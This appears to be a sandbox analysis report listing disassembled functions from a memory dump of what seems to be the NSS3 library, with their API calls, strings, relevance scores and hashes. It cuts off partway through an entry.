API String ID: 362709927-2446828420
Opcode ID: 42c3fd97aae568c109f8699217c78ed9ea3259067af570a1b892a8c49de820e2
Instruction ID: b93456ca4730d94e4b444e25194c5bd86eceaf0c0e67f3adfd0141c361d24dbf
Opcode Fuzzy Hash: 42c3fd97aae568c109f8699217c78ed9ea3259067af570a1b892a8c49de820e2
Instruction Fuzzy Hash: 7651D0B1A05113ABEB008FA59C40F9A73B5AF4635CF260425FD155BB61EB20E909CB9F

Function 6C5DBDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6C5DBE02

Part of subcall function 6C709C40: memcmp.VCRUNTIME140(?,00000000,6C5DC52B), ref: 6C709D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5DBE9F

Strings

%s at line %d of [%.10s], xrefs: 6C5DBE98
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5DBE89
database corruption, xrefs: 6C5DBE93

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 3a616e5523d087ca68feb0d596ce4744d437253528627213fca524420dc8c475
Instruction ID: 2cb60c456c74f4e363c52790e46bb529bea1504c2525b308e91cf8af1d7d90c4
Opcode Fuzzy Hash: 3a616e5523d087ca68feb0d596ce4744d437253528627213fca524420dc8c475
Instruction Fuzzy Hash: 4A310431A0435A8BC700EF6D8C94AABBBA3EF45314B1A8954EE541BA41D370FD04C7D5

Function 6C6C6DE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C6C6E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6C6E57

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C6C6E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C6C6EAA

Strings

nvl, xrefs: 6C6C6DF9

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID: nvl
API String ID: 3163584228-2622381835
Opcode ID: 07296b1ea92364811bb9fb18c4ede15eb1b05a0ab13e1ca6add2467ad655cf4e
Instruction ID: 27d761a5b64c3951a42306a2f93fccc51be671b2957b802cd5d755221fd57891
Opcode Fuzzy Hash: 07296b1ea92364811bb9fb18c4ede15eb1b05a0ab13e1ca6add2467ad655cf4e
Instruction Fuzzy Hash: 5F31C331718612EEDB145F34CD083A6BBA4EB4931AF14063ED89AD6A40E730E456CF8F

Function 6C651EC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6C654C64,?,-00000004), ref: 6C651EE2

Part of subcall function 6C6B1820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6C651D97,?,?), ref: 6C6B1836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C654C64,?,-00000004), ref: 6C651F13
DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C654C64,?,-00000004), ref: 6C651F37
DER_DecodeTimeChoice_Util.NSS3(?,dLel,?,?,?,?,?,?,?,?,00000000,00000000,?,6C654C64,?,-00000004), ref: 6C651F53

Strings

dLel, xrefs: 6C651F2B, 6C651F51

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID: dLel
API String ID: 3216063065-2953738621
Opcode ID: 4568064a4e47393c13961365650d0237803fa11251800d464526fd551d00584b
Instruction ID: 33d39be9f9a2e1454272c99b24912e9fb2a47bea87085d4a8d4070bcf6d88dfd
Opcode Fuzzy Hash: 4568064a4e47393c13961365650d0237803fa11251800d464526fd551d00584b
Instruction Fuzzy Hash: 7921A471504306AFC700CF2ADD00ADBB7E9BB85799F500929E854D3A40F331E529CBE6

Function 6C640DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C640BDE), ref: 6C640DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C640BDE), ref: 6C640DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C640BDE), ref: 6C640DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C640BDE), ref: 6C640E32

Strings

%s incr => %d (find lib), xrefs: 6C640E2D

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: bc6b5875b17805242698fb41718a40ce45e67e7b687651a4bde3c299df9ea637
Instruction ID: a1a2d71e554ac5d16cb7eb8362636ccec162f22189dc586c63fef9a8274ccdc6
Opcode Fuzzy Hash: bc6b5875b17805242698fb41718a40ce45e67e7b687651a4bde3c299df9ea637
Instruction Fuzzy Hash: FB012472700624AFE7208F259C49E1777FCDB45B09B04843DED09D7A41E762EC2987E5

Function 6C681CC0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6C681CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6C681CF1

Part of subcall function 6C7609D0: PR_Now.NSS3 ref: 6C760A22
Part of subcall function 6C7609D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C760A35
Part of subcall function 6C7609D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C760A66
Part of subcall function 6C7609D0: PR_GetCurrentThread.NSS3 ref: 6C760A70
Part of subcall function 6C7609D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C760A9D
Part of subcall function 6C7609D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C760AC8
Part of subcall function 6C7609D0: PR_vsmprintf.NSS3(?,?), ref: 6C760AE8
Part of subcall function 6C7609D0: EnterCriticalSection.KERNEL32(?), ref: 6C760B19
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C760B48
Part of subcall function 6C7609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C760C76
Part of subcall function 6C7609D0: PR_LogFlush.NSS3 ref: 6C760C7E

Strings

nvl, xrefs: 6C681D09, 6C681D30
pInitArgs = 0x%p, xrefs: 6C681CEC
C_Initialize, xrefs: 6C681CD3

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize$nvl
API String ID: 1907330108-1581979034
Opcode ID: 51c45aec4b35d8bd2d5154f3fda561a9b05b18c114dba0dd76eefd301f100147
Instruction ID: 5f707e80267b0eb94de6884d87c49c4de110a5f4ac24cb9493e40e417f2e9577
Opcode Fuzzy Hash: 51c45aec4b35d8bd2d5154f3fda561a9b05b18c114dba0dd76eefd301f100147
Instruction Fuzzy Hash: B901DEB53031449FDB009F64CA0CF5537B5EB8331AF088434E81996A51DB34D849C7AE

Function 6C6FAC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]nl,00000000,?,?,6C6D6AC6,?), ref: 6C6FAC2D

Part of subcall function 6C69ADC0: TlsGetValue.KERNEL32(?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE10
Part of subcall function 6C69ADC0: EnterCriticalSection.KERNEL32(?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE24
Part of subcall function 6C69ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C67D079,00000000,00000001), ref: 6C69AE5A
Part of subcall function 6C69ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE6F
Part of subcall function 6C69ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE7F
Part of subcall function 6C69ADC0: TlsGetValue.KERNEL32(?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AEB1
Part of subcall function 6C69ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AEC9

PK11_FreeSymKey.NSS3(?,@]nl,00000000,?,?,6C6D6AC6,?), ref: 6C6FAC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]nl,00000000,?,?,6C6D6AC6,?), ref: 6C6FAC59
free.MOZGLUE(8CB6FF01,6C6D6AC6,?,?,?,?,?,?,?,?,?,?,6C6E5D40,00000000,?,6C6EAAD4), ref: 6C6FAC62

Strings

@]nl, xrefs: 6C6FAC05

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]nl
API String ID: 1595327144-1632522648
Opcode ID: fa6982e2f7cb0de6bb2f3703adbc3884e885850c9e7266d9945c174036c7836b
Instruction ID: 96968e15d712d2bf2b7c3cbabc7411a1159df50cbfd1495cab9fc49957aee61b
Opcode Fuzzy Hash: fa6982e2f7cb0de6bb2f3703adbc3884e885850c9e7266d9945c174036c7836b
Instruction Fuzzy Hash: 96018BB5A002009FDF00CF58E8D0B5677E8AF05B18F1880A8E9598F707D731E809CBAA

Function 6C5E9C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5E9CF2
LeaveCriticalSection.KERNEL32(?), ref: 6C5E9D45
EnterCriticalSection.KERNEL32(?), ref: 6C5E9D8B
LeaveCriticalSection.KERNEL32(?), ref: 6C5E9DDE

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 2907e448da2e801e9dfb9984e3d5a46083723adb280f9f6616f0a518a9036c6e
Instruction ID: 1be4a305a51174723a6a6b9320aeef6d6943676756e98749c0bce4803bf0d159
Opcode Fuzzy Hash: 2907e448da2e801e9dfb9984e3d5a46083723adb280f9f6616f0a518a9036c6e
Instruction Fuzzy Hash: CBA1C071B041049BEB09EF65ED98BAE3771BB8B315F28013DD41B47B40DB3AA845DB86

Function 6C671E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6C671ECC

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

TlsGetValue.KERNEL32 ref: 6C671EDF
EnterCriticalSection.KERNEL32(?), ref: 6C671EEF
PR_ExitMonitor.NSS3(?), ref: 6C671F37
PR_Unlock.NSS3(?), ref: 6C671F44

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 714e8c963c6926c846780f2ad043af55d33668e3c524f8ac81fbc91ef7f71f6b
Instruction ID: baa2013d6119d48b91dfd681aa8cf36bf272b051ce71a4a96a969605ffefa8d8
Opcode Fuzzy Hash: 714e8c963c6926c846780f2ad043af55d33668e3c524f8ac81fbc91ef7f71f6b
Instruction Fuzzy Hash: 5771CFB19043019FD720CF25D840A5BB7F5FF89358F14492AE8A993B20E731F959CBA6

Function 6C6FDD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6FDD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6C6FDE77

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: f3e8d43a588b19c0638e166605bb9be105372349646f398e5b9cbf83a3275add
Instruction ID: 0be859b1f8e24fc8667292f647e75161ffc1a682335b1ad90b00df2dab8eadbf
Opcode Fuzzy Hash: f3e8d43a588b19c0638e166605bb9be105372349646f398e5b9cbf83a3275add
Instruction Fuzzy Hash: 23716571A01319CFDB10CF9AC580A8AB7B6BF49718F25816DD9696B742D730B902CF94

Function 6C6C9E00 Relevance: 7.7, APIs: 5, Instructions: 157COMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3(?), ref: 6C6C9EB2
PR_Sleep.NSS3(00000000), ref: 6C6C9EBC
PR_EnterMonitor.NSS3(?), ref: 6C6C9ED8
TlsGetValue.KERNEL32 ref: 6C6C9F46
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C6C9F8B

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$EnterErrorExitSleepValue
String ID:
API String ID: 2181969484-0
Opcode ID: 22354dfc1827dc582da20260ccc90874084cbcd0c30eb3fd60750e075a50f0b7
Instruction ID: 123a12c218e7e50cba02c286b5d06042ad91d957ea42357fcbc6a94c9daa52fb
Opcode Fuzzy Hash: 22354dfc1827dc582da20260ccc90874084cbcd0c30eb3fd60750e075a50f0b7
Instruction Fuzzy Hash: 19514571B042158BEB109E2AC8447AE77A2FF8570CF194579DC289BA81D732D846CBCA

Function 6C66DFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(D958E852,6C671397,5B5F5EC0,?,?,6C66B1EE,2404110F,?,?), ref: 6C66AB3C
Part of subcall function 6C66AB10: free.MOZGLUE(D958E836,?,6C66B1EE,2404110F,?,?), ref: 6C66AB49
Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(5D5E6C86), ref: 6C66AB5C
Part of subcall function 6C66AB10: free.MOZGLUE(5D5E6C7A), ref: 6C66AB63
Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C66AB6F
Part of subcall function 6C66AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C66AB76

TlsGetValue.KERNEL32(?,?,6C66B266,6C6715C6,?,?,6C6715C6), ref: 6C66DFDA
EnterCriticalSection.KERNEL32(?,?,?,6C66B266,6C6715C6,?,?,6C6715C6), ref: 6C66DFF3
PK11_IsFriendly.NSS3(?,?,?,?,6C66B266,6C6715C6,?,?,6C6715C6), ref: 6C66E029
PK11_IsLoggedIn.NSS3 ref: 6C66E046

Part of subcall function 6C678F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FAF
Part of subcall function 6C678F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FD1
Part of subcall function 6C678F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FFA
Part of subcall function 6C678F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C679013
Part of subcall function 6C678F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C679042
Part of subcall function 6C678F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C67905A
Part of subcall function 6C678F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C679073
Part of subcall function 6C678F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C679111

PR_Unlock.NSS3(?,?,?,?,6C66B266,6C6715C6,?,?,6C6715C6), ref: 6C66E149

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: 4fc474f5d86d2ec33e35288fb25c01d8c0b3045a13196473d1bd33007aa38741
Instruction ID: 18c7d8798a20d172c70a0f185cc4dae8b22bb4d0f324da3bf169ed16ee5eeb3a
Opcode Fuzzy Hash: 4fc474f5d86d2ec33e35288fb25c01d8c0b3045a13196473d1bd33007aa38741
Instruction Fuzzy Hash: 4E515870600611CFDB10DF2AC98476ABBF1BF49308F15896DD8998BB51E731E885CBDA

Function 6C67BE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6C67BF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C67BF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6C659F71,?,?,00000000), ref: 6C67BF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6C67BFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C67C014

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: 9862d80bd16a36f98cd79ef4f5b7994e978c16a6c9eedaa560cb48b75f597c50
Instruction ID: 19848bddc68823ba682d0d8ed3f49796023947e938930408a06913af4e5852ee
Opcode Fuzzy Hash: 9862d80bd16a36f98cd79ef4f5b7994e978c16a6c9eedaa560cb48b75f597c50
Instruction Fuzzy Hash: 4A41F671A012059BEB20CE76CC44BEA73B9AF85708F504928D919D7B41FB35E845CBF9

Function 6C64EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C64EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C64EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C64EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C64EEEB
free.MOZGLUE(?), ref: 6C64EEF6

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
